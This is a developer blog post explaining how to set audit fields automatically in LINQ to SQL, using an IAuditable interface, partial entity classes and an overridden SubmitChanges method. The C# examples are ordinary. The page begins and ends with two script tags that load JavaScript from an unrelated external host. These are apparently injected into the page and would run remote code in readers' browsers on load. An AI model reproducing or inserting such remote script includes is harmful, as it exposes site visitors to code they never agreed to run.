A Method to Handle Audit Fields in LINQ to SQL

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

Subsonic has this convention where it does this automatically for you, if the table had columns CreatedOn, CreatedBy, ModifiedOn, ModifiedBy. DLINQ doesn't really have anything like this built-in.  This isn't something one wishes to do manually, as to remember to update these columns every time you save something would be prone to forgetfulness as well as being a lot of extra typing.  So how might we wire up something similar to what SubSonic does?

I did a few searches on the internet, and while I found a couple of suggestions I didn't find an easy solution.  One suggestion was to extend the partial methods of the DataContext for Insert and Update.  This worked, but it means for every entity in your model you have to extend Insert and Update.  Fairly quickly you have several dozen of these things and you notice they're all doing the same thing.  Another suggestion involved extending SubmitChanges() in the DataContext, but it was rather complicated and relied upon reflecting upon the properties of the class to check if they had the right keywords in them set them appropriately.  I don't want to do reflection if I can otherwise avoid it.

What if we used our own convention?  Our tables use the same audit field names, just like with Subsonic.  When we pull the tables into the LINQ to SQL class builder, it creates all of our entity classes for us with properties for those fields.  Since the classes are partials, we can also extend them and claim they implement a common interface.

Examples are in C#, and you'll need to remember to create the interfaces and classes in the appropriate namespaces. 

First, we create an interface to define our contract. We create an IAuditable interface with properties for our audit fields.

    internal interface IAuditable
    {
        string CreatedBy { get; set; }
        DateTime CreatedOn { get; set; }
        string ModifiedBy { get; set; }
        DateTime ModifiedOn { get; set; }
    }

Now, we extend the classes created by LINQ to SQL, and note that they implement our interface.  This is relatively easy to do as they were partial classes. The properties should already be in the classes as they were created by LINQ to SQL based on our table definitions.  Here I just use a couple of example table classes, you'll need to remember to add the same syntax for each table as you add it to LINQ to SQL.

    public partial class Calendar : IAuditable
    {
    }

    public partial class Photo : IAuditable
    {
    }

    public partial class Content : IAuditable
    {
    }

    public partial class Discussion : IAuditable
    {
    }

Now, we override SubmitChanges in our DataContext.  I have it call a routine which updates the auditfields, passing in the list of all objects being managed by the datacontext.  It's nice that the DataContext method GetChangeSet() has lists for Inserts or Updates.  I'm using a utility class to perform the work.

        public override void SubmitChanges(System.Data.Linq.ConflictMode failureMode)
        {
            AuditUtility.ProcessInserts(base.GetChangeSet().Inserts);
            AuditUtility.ProcessUpdates(base.GetChangeSet().Updates);
            
            base.SubmitChanges(failureMode);
        }

And then finally our AuditUtility class.  Basically, it iterates through the list, checks to see if the object implements the IAuditable interface we created, and if so sets the auditfields.  This allows us to have tables which don't have audit fields, in which case they are simple ignored. I have a GetUserName() method inside that tries to identify the authenticated user whether it's web or local windows context, although this may need to be modified to handle the specifics of your app.

    internal static class AuditUtility
    {
        private static string GetUserName()
        {
            string userName = "";
            if (System.Web.HttpContext.Current != null)
                userName = System.Web.HttpContext.Current.User.Identity.Name;
            else
                userName = Environment.UserName;

            return userName;
        }

        private static void ProcessAuditFields(IList<System.Object> list, bool UpdateCreatedFields)
        {
            foreach (var item in list)
            {
                IAuditable entity = item as IAuditable;
                if (entity != null)
                {
                    if (UpdateCreatedFields)
                    {
                        entity.CreatedBy = GetUserName();
                        entity.CreatedOn = DateTime.Now;
                    }
                
                    entity.ModifiedBy = GetUserName();
                    entity.ModifiedOn = DateTime.Now;
                }
            }
        }

        internal static void ProcessInserts(IList<System.Object> list)
        {
            ProcessAuditFields(list, true);
        }

        internal static void ProcessUpdates(IList<System.Object> list)
        {
            ProcessAuditFields(list, false);
        }

    }

I hope that this technique can be of some use to others, and would value any feedback on how to make it work better.

 

<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>